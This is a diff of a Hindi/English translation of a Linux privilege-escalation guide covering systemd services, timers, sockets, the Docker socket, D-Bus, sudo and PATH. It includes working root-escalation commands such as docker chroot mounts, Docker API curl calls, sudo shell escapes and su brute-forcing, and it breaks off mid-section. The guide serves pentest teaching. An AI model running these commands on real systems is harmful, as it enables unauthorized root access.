Writable _.service_ files +### लिखने योग्य _.service_ फ़ाइलें -Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ -For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** +जाँचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, अगर कर सकते हैं तो आप इसे **modify** कर सकते हैं ताकि यह सेवा के **started**, **restarted** या **stopped** होने पर आपका **backdoor** **executes** कर दे (शायद आपको मशीन के reboot होने तक इंतज़ार करना पड़े)।\ +उदाहरण के लिए अपनी backdoor `.service` फ़ाइल के अंदर बनायें: **`ExecStart=/tmp/script.sh`** -### Writable service binaries +### लिखने योग्य service binaries -Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. +ध्यान रखें कि यदि आपके पास **write permissions over binaries being executed by services** हैं, तो आप उन्हें backdoors के लिए बदल सकते हैं ताकि जब services पुनः execute हों तो backdoors execute हों। -### systemd PATH - Relative Paths +### **systemd** PATH - Relative Paths -You can see the PATH used by **systemd** with: +आप वह PATH देख सकते हैं जिसे **systemd** उपयोग कर रहा है: ```bash systemctl show-environment ``` -यदि आप पथ के किसी भी फ़ोल्डर में **write** कर सकते हैं तो आप **escalate privileges** कर सकते हैं। आपको **relative paths being used on service configurations** जैसी फ़ाइलों में तलाश करनी चाहिए, जैसे: +यदि आप पाते हैं कि आप पथ के किसी भी फ़ोल्डर में **write** कर सकते हैं, तो आप संभवतः **escalate privileges** कर सकते हैं। आपको इस तरह की फ़ाइलों में **relative paths being used on service configurations** की खोज करनी होगी, जैसे: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -फिर, उस systemd PATH फ़ोल्डर के अंदर जिसे आप लिख सकते हैं, उसी नाम का एक **executable** बनाएं जैसा कि relative path binary का है, और जब service से vulnerable action (**Start**, **Stop**, **Reload**) को execute करने के लिए कहा जाएगा, आपका **backdoor** executed होगा (unprivileged users आमतौर पर सेवाएँ start/stop नहीं कर सकते, पर जाँच करें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। +फिर, उस systemd PATH folder के अंदर जिस पर आप लिख सकते हैं, उसी relative path binary के नाम जैसा एक **executable** बनाएं — और जब सेवा vulnerable action (**Start**, **Stop**, **Reload**) को execute करने के लिए कहा जाएगा, आपका **backdoor** execute हो जाएगा (अनप्रिविलेज्ड users आमतौर पर services को start/stop नहीं कर सकते, लेकिन देखें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। **services के बारे में और जानने के लिए `man systemd.service` देखें।** -## **टाइमर** +## **Timers** -**टाइमर** systemd unit files होते हैं जिनके नाम का अंत `**.timer**` में होता है और ये `**.service**` फ़ाइलों या इवेंट्स को नियंत्रित करते हैं। **टाइमर** को cron के विकल्प के रूप में इस्तेमाल किया जा सकता है क्योंकि इनमें calendar time events और monotonic time events के लिए built-in सपोर्ट होता है और इन्हें asynchronously चलाया जा सकता है। +**Timers** systemd unit files होते हैं जिनका नाम `**.timer**` पर खत्म होता है और वे `**.service**` फाइलों या events को control करते हैं। **Timers** को cron के विकल्प के रूप में इस्तेमाल किया जा सकता है क्योंकि इनमें calendar time events और monotonic time events के लिए built-in support होता है और इन्हें asynchronously चलाया जा सकता है। -आप सभी टाइमर को निम्नलिखित से enumerate कर सकते हैं: +You can enumerate all the timers with: ```bash systemctl list-timers --all ``` -### लिखने योग्य timers +### लिखने योग्य टाइमर -यदि आप किसी timer को संशोधित कर सकते हैं तो आप इसे मौजूद systemd.unit इकाइयों को execute करने के लिए बना सकते हैं (जैसे `.service` या `.target`) +यदि आप किसी टाइमर को संशोधित कर सकते हैं, तो आप इसे systemd.unit की कुछ मौजूद इकाइयों (जैसे कि `.service` या `.target`) को निष्पादित करने के लिए बना सकते हैं। ```bash Unit=backdoor.service ``` -> यह वह unit है जिसे इस timer के समाप्त होने पर सक्रिय किया जाता है। आर्गुमेंट एक unit नाम है जिसका suffix ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान डिफ़ॉल्ट रूप से उस service को बताता है जिसका नाम timer unit के समान होता है, केवल suffix अलग होता है। (ऊपर देखें।) यह अनुशंसित है कि सक्रिय किए जाने वाले unit का नाम और timer unit का नाम suffix को छोड़कर समान हों। +In the documentation you can read what the Unit is: -इसलिए, इस अनुमति का दुरुपयोग करने के लिए आपको निम्न करना होगा: +> वह unit जिसे यह timer समाप्त होने पर activate किया जाएगा। आर्गुमेंट एक unit नाम है, जिसका suffix ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उसी नाम वाली service पर डिफ़ॉल्ट होता है जैसा timer unit है, केवल suffix अलग होता है। (See above.) यह सुझाया जाता है कि activate होने वाले unit का नाम और timer unit का नाम suffix के अलावा एक समान हों। -- किसी systemd unit (जैसे कि `.service`) को खोजें जो **लिखने योग्य बाइनरी को निष्पादित कर रहा हो** -- किसी systemd unit को खोजें जो **relative path को निष्पादित कर रहा हो** और आपके पास **systemd PATH** पर **लिखने के अधिकार** हों (ताकि आप उस executable की नक़ल कर सकें) +Therefore, to abuse this permission you would need to: -**timers के बारे में अधिक जानने के लिए `man systemd.timer` देखें।** +- कुछ systemd unit (जैसे `.service`) खोजें जो **executing a writable binary** हो +- कोई systemd unit खोजें जो **executing a relative path** हो और आपके पास **writable privileges** over the **systemd PATH** हों (ताकि आप उस executable को impersonate कर सकें) -### **टाइमर सक्षम करना** +**Learn more about timers with `man systemd.timer`.** -एक timer को enable करने के लिए आपको root privileges चाहिए और निम्नलिखित चलाना होगा: +### **Enabling Timer** + +Timer enable करने के लिए आपको root privileges चाहिए और निम्न command चलानी होगी: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -ध्यान दें कि **timer** को `/etc/systemd/system/.wants/.timer` पर इसका symlink बनाकर **सक्रिय** किया जाता है +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) client-server मॉडल में एक ही या अलग मशीनों पर **प्रक्रिया संचार (process communication)** सक्षम करते हैं। ये कंप्यूटरों के बीच संचार के लिए मानक Unix descriptor फ़ाइलों का उपयोग करते हैं और `.socket` files के माध्यम से सेटअप किए जाते हैं। +Unix Domain Sockets (UDS) क्लाइंट-सर्वर मॉडल में एक ही या अलग मशीनों पर **process communication** सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक Unix descriptor फाइलों का उपयोग करते हैं और `.socket` फाइलों के माध्यम से सेटअप किए जाते हैं। -Sockets को `.socket` files के उपयोग से कॉन्फ़िगर किया जा सकता है। +Sockets को `.socket` फाइलों का उपयोग करके कॉन्फ़िगर किया जा सकता है। -**Sockets के बारे में अधिक जानने के लिए `man systemd.socket` देखें।** इस फ़ाइल के अंदर कई दिलचस्प पैरामीटर कॉन्फ़िगर किए जा सकते हैं: +**Learn more about sockets with `man systemd.socket`.** इस फ़ाइल के अंदर, कई रोचक पैरामीटर कॉन्फ़िगर किए जा सकते हैं: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन सारांश के रूप में उपयोग होता है यह **बताने के लिए कि कहाँ यह socket को सुनने वाला है** (AF_UNIX socket फ़ाइल का path, IPv4/6 और/या सुनने के लिए port नंबर, आदि)। -- `Accept`: boolean argument लेता है। यदि **true**, तो प्रत्येक इनकमिंग कनेक्शन के लिए एक **service instance बनाई जाती है** और केवल कनेक्शन socket ही उसे पास किया जाता है। यदि **false**, तो सभी listening sockets स्वयं **started service unit को पास किए जाते हैं**, और सभी कनेक्शनों के लिए केवल एक service unit ही बनाई जाती है। यह मान datagram sockets और FIFOs के लिए अनदेखा कर दिया जाता है जहाँ एक ही service unit बिना शर्त सभी इनकमिंग ट्रैफ़िक को संभालता है। **Defaults to false**। प्रदर्शन कारणों से, नए daemons केवल `Accept=no` के अनुरूप ही लिखने की सलाह दी जाती है। -- `ExecStartPre`, `ExecStartPost`: एक या अधिक command lines लेते हैं, जो क्रमशः listening **sockets**/FIFOs के **बनाए जाने** और बाइंड होने से पहले या बाद में **निष्पादित** होते हैं। कमांड लाइन का पहला token एक absolute filename होना चाहिए, उसके बाद process के लिए arguments आते हैं। -- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **commands** जो क्रमशः listening **sockets**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में निष्पादित होते हैं। -- `Service`: incoming traffic पर सक्रिय करने के लिए **service** unit का नाम निर्दिष्ट करता है। यह सेटिंग केवल उन sockets के लिए अनुमति है जिनके लिए Accept=no है। यह डिफ़ॉल्ट रूप से उस service को चुनेगा जिसका नाम socket के समान होता है (सफलिक्स बदलकर)। अधिकांश मामलों में इस विकल्प का उपयोग आवश्यक नहीं होना चाहिए। +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग-अलग हैं पर सारांश का उपयोग यह **बताने के लिए किया जाता है कि यह किस जगह सुनने वाला है** (AF_UNIX socket फाइल का पाथ, IPv4/6 और/या सुनने के लिए पोर्ट नंबर, आदि) +- `Accept`: यह एक boolean argument लेता है। अगर **true** है, तो **प्रत्येक आने वाले कनेक्शन के लिए एक service instance spawn** किया जाता है और केवल कनेक्शन socket ही उसे पास किया जाता है। अगर **false** है, तो सभी listening sockets स्वयं **स्टार्ट किए गए service unit को पास किए जाते हैं**, और सभी कनेक्शनों के लिए केवल एक service unit spawn होती है। यह मान datagram sockets और FIFOs के लिए अनदेखा किया जाता है जहाँ एक single service unit बिना शर्त सभी इनकमिंग ट्रैफ़िक को हैंडल करती है। **Defaults to false**. प्रदर्शन कारणों से, नए daemons को केवल `Accept=no` के अनुकूल तरीके से लिखने की सलाह दी जाती है। +- `ExecStartPre`, `ExecStartPost`: एक या अधिक command lines लेता है, जिन्हें listening **sockets**/FIFOs के **बने और bind होने** के **पहले** या **बाद**, क्रमशः, निष्पादित किया जाता है। कमांड लाइन का पहला token एक absolute filename होना चाहिए, उसके बाद process के लिए arguments आते हैं। +- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **commands** जो listening **sockets**/FIFOs के **बंद और हटाए जाने** के **पहले** या **बाद**, क्रमशः, निष्पादित किये जाते हैं। +- `Service`: incoming traffic पर **activate करने के लिए** किस **service** unit का नाम specify करता है। यह सेटिंग केवल उन sockets के लिए allowed है जिनमें `Accept=no`। यह डिफ़ॉल्ट रूप से उस service को सेट करता है जिसका नाम socket के समान होता है (suffix बदलकर)। ज्यादातर मामलों में, इस option का उपयोग करना आवश्यक नहीं होना चाहिए। ### Writable .socket files -यदि आप कोई **लिखने योग्य** `.socket` file पाते हैं तो आप `[Socket]` सेक्शन की शुरुआत में कुछ इस तरह जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और backdoor socket के बनाए जाने से पहले निष्पादित हो जाएगा। इसलिए, आपको **शायद मशीन के reboot होने तक इंतज़ार करना पड़ेगा।**\ -_ध्यान दें कि सिस्टम को उस socket file configuration का उपयोग करना चाहिए वरना backdoor निष्पादित नहीं होगा_ +यदि आप कोई **writable** `.socket` फ़ाइल पाते हैं तो आप `[Socket]` सेक्शन की शुरुआत में कुछ ऐसा जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और यह backdoor socket बनाये जाने से पहले execute हो जाएगा। इसलिए, आपको **शायद मशीन को reboot करने तक प्रतीक्षा करनी पड़ेगी।**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -यदि आप कोई भी writable socket पहचानते हैं (अब हम Unix Sockets की बात कर रहे हैं न कि config `.socket` files), तो आप उस socket के साथ संवाद कर सकते हैं और शायद किसी vulnerability को exploit कर सकेंगे। +यदि आप किसी भी **writable socket** की पहचान करते हैं (_अब हम config `.socket` फाइलों के बारे में नहीं बल्कि Unix Sockets के बारे में बात कर रहे हैं_), तो **आप उस socket के साथ communicate कर सकते हैं** और शायद किसी vulnerability को exploit कर सकते हैं। -### Unix Sockets को सूचीबद्ध करें +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -505,48 +540,48 @@ socket-command-injection.md ### HTTP sockets -ध्यान दें कि कुछ **sockets listening for HTTP** requests मौजूद हो सकते हैं (_यहाँ मेरा तात्पर्य .socket फ़ाइलों से नहीं है, बल्कि उन फ़ाइलों से है जो unix sockets के रूप में कार्य करती हैं।_). आप इसे निम्न से जांच सकते हैं: +ध्यान दें कि कुछ **sockets listening for HTTP** requests हो सकते हैं (_मैं .socket फाइलों की बात नहीं कर रहा बल्कि उन फाइलों की जो unix sockets के रूप में काम कर रही हैं_)। आप इसे इस कमांड से जाँच सकते हैं: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -यदि socket **responds with an HTTP** request, तो आप इसके साथ **communicate** कर सकते हैं और शायद कुछ **exploit some vulnerability** भी कर पाएँ। +यदि socket **responds with an HTTP** request, तो आप इसके साथ **communicate** कर सकते हैं और शायद **exploit some vulnerability** कर सकें। ### Writable Docker Socket -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. डिफ़ॉल्ट रूप से, यह `root` user और `docker` group के सदस्यों द्वारा writable होता है. इस socket पर write access होना privilege escalation का कारण बन सकता है. यहाँ बताया गया है कि यह कैसे किया जा सकता है और वैकल्पिक तरीके क्या हैं यदि Docker CLI उपलब्ध नहीं है। +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. #### **Privilege Escalation with Docker CLI** -यदि आपके पास Docker socket पर write access है, तो आप निम्न commands का उपयोग करके escalate privileges कर सकते हैं: +यदि आपके पास Docker socket पर write access है, तो आप निम्न commands का उपयोग करके privileges escalate कर सकते हैं: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -These commands allow you to run a container with root-level access to the host's file system. +ये कमांड आपको host की फ़ाइल प्रणाली पर root-स्तरीय access के साथ एक container चलाने की अनुमति देते हैं। -#### **Using Docker API Directly** +#### **Docker API का सीधा उपयोग** -ऐसे मामलों में जहाँ Docker CLI उपलब्ध नहीं है, Docker socket को Docker API और `curl` commands का उपयोग करके अभी भी हेरफेर किया जा सकता है। +ऐसे मामलों में जहाँ Docker CLI उपलब्ध नहीं है, Docker socket को फिर भी Docker API और `curl` कमांड्स का उपयोग करके हेरफेर किया जा सकता है। -1. **List Docker Images:** Retrieve the list of available images. +1. **List Docker Images:** उपलब्ध images की सूची प्राप्त करें। ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +2. **Create a Container:** ऐसा request भेजें जो host सिस्टम की रूट डायरेक्टरी को mount करने वाला container बनाए। ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +नया बनाया गया container शुरू करें: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +3. **Attach to the Container:** `socat` का उपयोग करके container के साथ एक connection स्थापित करें, जिससे उसमें command execution संभव हो सके। ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -556,13 +591,13 @@ Connection: Upgrade Upgrade: tcp ``` -`sudo` `socat` कनेक्शन सेट करने के बाद, आप container के अंदर सीधे कमांड चला सकते हैं जिनके पास host की filesystem पर root-level पहुंच होती है। +`socat` connection सेटअप करने के बाद, आप container में सीधे host की filesystem पर root-स्तरीय access के साथ commands execute कर सकते हैं। -### Others +### अन्य -ध्यान दें कि यदि आपके पास docker socket पर write permissions हैं क्योंकि आप **inside the group `docker`** हैं तो आपके पास [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)। यदि [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)। +ध्यान दें कि यदि आपके पास docker socket पर write permissions हैं क्योंकि आप **inside the group `docker`** हैं तो आपके पास [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) हैं। यदि [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)। -जाँचें **more ways to break out from docker or abuse it to escalate privileges** in: +Check **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} @@ -571,7 +606,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -यदि आप पाते हैं कि आप **`ctr`** command का उपयोग कर सकते हैं तो निम्नलिखित पृष्ठ पढ़ें क्योंकि **you may be able to abuse it to escalate privileges**: +यदि आप पाते हैं कि आप **`ctr`** कमांड का उपयोग कर सकते हैं तो निम्न पृष्ठ पढ़ें क्योंकि **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -580,7 +615,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -यदि आप पाते हैं कि आप **`runc`** command का उपयोग कर सकते हैं तो निम्नलिखित पृष्ठ पढ़ें क्योंकि **you may be able to abuse it to escalate privileges**: +यदि आप पाते हैं कि आप **`runc`** कमांड का उपयोग कर सकते हैं तो निम्न पृष्ठ पढ़ें क्योंकि **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -589,15 +624,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus एक परिष्कृत inter-Process Communication (IPC) system है जो applications को कुशलतापूर्वक interact और data share करने में सक्षम बनाता है। आधुनिक Linux सिस्टम को ध्यान में रखकर डिज़ाइन किया गया यह विभिन्न प्रकार के application communication के लिए एक मजबूत फ्रेमवर्क प्रदान करता है। +D-Bus एक परिष्कृत **inter-Process Communication (IPC) system** है जो applications को प्रभावी ढंग से interact और डेटा साझा करने में सक्षम बनाता है। आधुनिक Linux सिस्टम को ध्यान में रखकर डिज़ाइन किया गया, यह विभिन्न प्रकार के application communication के लिए एक मजबूत फ्रेमवर्क प्रदान करता है। -यह सिस्टम बहुमुखी है, बुनियादी IPC का समर्थन करता है जो प्रक्रियाओं के बीच डेटा एक्सचेंज को बेहतर बनाता है, और यह enhanced UNIX domain sockets जैसा व्यवहार दिखा सकता है। इसके अलावा, यह events या signals प्रसारित करने में मदद करता है, जिससे सिस्टम के घटकों के बीच seamless integration संभव होता है। उदाहरण के लिए, Bluetooth daemon से आने वाला एक सिग्नल किसी music player को mute करने के लिए प्रेरित कर सकता है, जिससे user experience बेहतर होता है। अतिरिक्त रूप से, D-Bus एक remote object system का समर्थन करता है, जो सेवाओं के अनुरोध और applications के बीच method invocations को सरल बनाता है और पारंपरिक रूप से जटिल प्रक्रियाओं को सहज बनाता है। +यह सिस्टम बहुमुखी है, यह basic IPC का समर्थन करता है जो प्रक्रियाओं के बीच डेटा विनिमय को बेहतर बनाता है, और यह **enhanced UNIX domain sockets** की याद दिलाता है। इसके अलावा, यह events या signals का broadcast करने में मदद करता है, जिससे सिस्टम घटकों के बीच सहज एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, incoming call के बारे में एक Bluetooth daemon का संकेत एक music player को mute करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव बेहतर होता है। अतिरिक्त रूप से, D-Bus एक remote object system का समर्थन करता है, जो applications के बीच service requests और method invocations को सरल बनाता है और परंपरागत रूप से जटिल प्रक्रियाओं को सुगम करता है। -D-Bus एक allow/deny model पर कार्य करता है, जो matching policy rules के संचयी प्रभाव के आधार पर संदेशों (method calls, signal emissions, आदि) की अनुमति/निषेध को प्रबंधित करता है। ये नीतियाँ bus के साथ इंटरैक्शन को निर्दिष्ट करती हैं, और इन permissions के शोषण के माध्यम से privilege escalation संभव हो सकता है। +D-Bus **allow/deny model** पर काम करता है, जो matching policy rules के cumulative effect के आधार पर message permissions (method calls, signal emissions, आदि) को manage करता है। ये policies bus के साथ interactions निर्दिष्ट करती हैं, और इन permissions के शोषण के माध्यम से potential रूप से privilege escalation की अनुमति दे सकती हैं। -एक उदाहरण नीति `/etc/dbus-1/system.d/wpa_supplicant.conf` में दिया गया है, जो root user के लिए `fi.w1.wpa_supplicant1` को own, send और receive करने की permissions का विवरण देती है। +`/etc/dbus-1/system.d/wpa_supplicant.conf` में ऐसी एक policy का उदाहरण दिया गया है, जो root user को `fi.w1.wpa_supplicant1` का मालिक होने, संदेश भेजने और प्राप्त करने की permissions का विवरण देता है। -एक निर्दिष्ट user या group के बिना policies सर्वत्र लागू होती हैं, जबकि "default" context policies उन सभी पर लागू होती हैं जो अन्य विशिष्ट नीतियों द्वारा कवर नहीं हैं। +जिस नीति में कोई विशेष user या group निर्दिष्ट नहीं है वह सार्वभौमिक रूप से लागू होती है, जबकि "default" context policies उन सभी पर लागू होती हैं जो अन्य विशिष्ट नीतियों द्वारा कवर नहीं किए गए हैं। ```xml @@ -606,16 +641,16 @@ D-Bus एक allow/deny model पर कार्य करता है, जो ``` -**यहाँ D-Bus communication को enumerate और exploit करने का तरीका जानें:** +**यहाँ जानें कि enumerate and exploit a D-Bus communication कैसे करें:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} -## **Network** +## **नेटवर्क** -यह हमेशा दिलचस्प होता है कि network को enumerate करके मशीन की स्थिति पता करें। +यह हमेशा रोचक होता है enumerate the network और मशीन की स्थिति का पता लगाने के लिए। ### सामान्य enumeration ```bash @@ -642,22 +677,22 @@ lsof -i ``` ### Open ports -हमेशा उस मशीन पर चल रही network services की जाँच करें जिनसे आप उसे access करने से पहले interact नहीं कर पाए थे: +हमेशा उस मशीन पर चल रहे नेटवर्क सेवाओं की जाँच करें जिनके साथ आप पहुँचने से पहले इंटरैक्ट नहीं कर पाए थे: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -जाँच करें कि क्या आप sniff traffic कर सकते हैं। यदि आप कर सकते हैं, तो आप कुछ credentials हासिल कर सकते हैं। +जाँच करें कि क्या आप sniff traffic कर सकते हैं। अगर आप कर सकते हैं, तो आप कुछ credentials पकड़ने में सक्षम हो सकते हैं। ``` timeout 1 tcpdump ``` ## उपयोगकर्ता -### सामान्य Enumeration +### Generic Enumeration -जाँच करें कि आप **कौन** हैं, आपके पास कौन से **privileges** हैं, सिस्टम में कौन से **users** हैं, कौन **login** कर सकता है और किनके पास **root privileges** हैं: +जांचें कि आप **who** हैं, आपके पास कौन से **privileges** हैं, सिस्टम में कौन से **users** मौजूद हैं, कौन **login** कर सकता है और किनके पास **root privileges** हैं: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -679,23 +714,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### बड़ा UID -कुछ Linux संस्करण एक बग से प्रभावित थे जो उपयोगकर्ताओं को जिनका **UID > INT_MAX** है, उन्हें escalate privileges करने की अनुमति देता है। अधिक जानकारी: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**इसे exploit करने के लिए**: **`systemd-run -t /bin/bash`** +कुछ Linux वर्शन एक बग से प्रभावित थे जो **UID > INT_MAX** वाले उपयोगकर्ताओं को escalate privileges की अनुमति देता है. अधिक जानकारी: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** -### Groups +### समूह -जाँचें कि क्या आप किसी **group के सदस्य** हैं जो आपको root privileges दे सकता है: +जाँचें कि क्या आप **किसी समूह के सदस्य** हैं जो आपको root privileges दे सकता है: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### क्लिपबोर्ड -जाँचें कि क्या क्लिपबोर्ड में कुछ रोचक मौजूद है (यदि संभव हो) +जाँचें कि क्लिपबोर्ड के अंदर कुछ रोचक तो नहीं है (यदि संभव हो) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -712,27 +747,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### ज्ञात पासवर्ड -यदि आप **पर्यावरण का कोई पासवर्ड** जानते हैं तो उस पासवर्ड का उपयोग करके **प्रत्येक उपयोगकर्ता के रूप में लॉगिन करने** का प्रयास करें। +यदि आप किसी वातावरण का कोई भी **पासवर्ड जानते हैं**, तो उस पासवर्ड का उपयोग करके **प्रत्येक उपयोगकर्ता के रूप में login करने का प्रयास करें**। ### Su Brute -यदि आप बहुत शोर करने की परवाह नहीं करते और `su` और `timeout` binaries कंप्यूटर पर मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके उपयोगकर्ता पर brute-force करने का प्रयास कर सकते हैं.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parameter के साथ भी उपयोगकर्ताओं पर brute-force करने की कोशिश करता है। +यदि आपको बहुत शोर मचाने की परवाह नहीं है और कंप्यूटर पर `su` और `timeout` बाइनरीज़ मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके user पर brute-force आज़माने की कोशिश कर सकते हैं।\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parameter के साथ भी users पर brute-force करने की कोशिश करता है। -## Writable PATH का दुरुपयोग +## Writable PATH के दुरुपयोग ### $PATH -यदि आप पाते हैं कि आप $PATH के किसी फ़ोल्डर के अंदर **लिख सकते हैं** तो आप अधिकार बढ़ा सकते हैं by **लिखने योग्य फ़ोल्डर के अंदर backdoor बनाकर** जिसका नाम उस किसी command का हो जिसे किसी अलग user (आदर्श रूप से root) द्वारा execute किया जाएगा और जो $PATH में आपके लिखने योग्य फ़ोल्डर से पहले स्थित किसी फ़ोल्डर से **लोड नहीं किया जाता है**। +यदि आप पाते हैं कि आप $PATH के किसी फ़ोल्डर के अंदर **लिख सकते हैं** तो आप privileges escalate कर सकते हैं — writable फ़ोल्डर के अंदर किसी ऐसे कमांड के नाम से **backdoor** बनाकर जो किसी दूसरे उपयोगकर्ता (आदर्श रूप से root) द्वारा execute किया जाएगा और जो $PATH में आपके writable फ़ोल्डर से पहले स्थित किसी फ़ोल्डर से load नहीं होता। ### SUDO and SUID -आपको कुछ command sudo का उपयोग करके execute करने की अनुमति मिल सकती है या उन पर suid bit सेट हो सकता है। इसे जाँचने के लिए: +आपको sudo का उपयोग करके कुछ कमांड execute करने की अनुमति दी गई हो सकती है या उन पर suid bit सेट हो सकता है। इसे जांचें: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -कुछ **अनपेक्षित commands आपको फाइलें पढ़ने और/या लिखने या यहां तक कि किसी command को execute करने की अनुमति देते हैं।** उदाहरण के लिए: +कुछ **अनपेक्षित कमांड आपको फ़ाइलें पढ़ने और/या लिखने या यहाँ तक कि कोई कमांड निष्पादित करने की अनुमति देती हैं।** उदाहरण के लिए: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -743,37 +778,37 @@ less>! ``` ### NOPASSWD -Sudo कॉन्फ़िगरेशन किसी उपयोगकर्ता को बिना पासवर्ड जाने किसी अन्य उपयोगकर्ता के विशेषाधिकारों के साथ कोई कमांड चलाने की अनुमति दे सकता है। +Sudo configuration एक उपयोगकर्ता को बिना पासवर्ड जाने किसी अन्य उपयोगकर्ता के अधिकारों के साथ कोई कमांड चलाने की अनुमति दे सकता है। ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है, अब root directory में एक ssh key जोड़कर या `sh` कॉल करके shell पाना बहुत आसान है। +इस उदाहरण में उपयोगकर्ता `demo` `vim` को `root` के रूप में चला सकता है; अब `root` डायरेक्टरी में एक ssh key जोड़कर या `sh` को कॉल करके shell प्राप्त करना आसान है। ``` sudo vim -c '!sh' ``` ### SETENV -यह निर्देश उपयोगकर्ता को किसी चीज़ को निष्पादित करते समय **set an environment variable** करने की अनुमति देता है: +यह निर्देश उपयोगकर्ता को किसी प्रक्रिया को चलाते समय **set an environment variable** करने की अनुमति देता है: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -यह उदाहरण, **HTB machine Admirer पर आधारित**, **असुरक्षित** था **PYTHONPATH hijacking** के प्रति, ताकि script को root के रूप में चलाते समय किसी arbitrary python library को load किया जा सके: +यह उदाहरण, **based on HTB machine Admirer**, **vulnerable** था — **PYTHONPATH hijacking** द्वारा 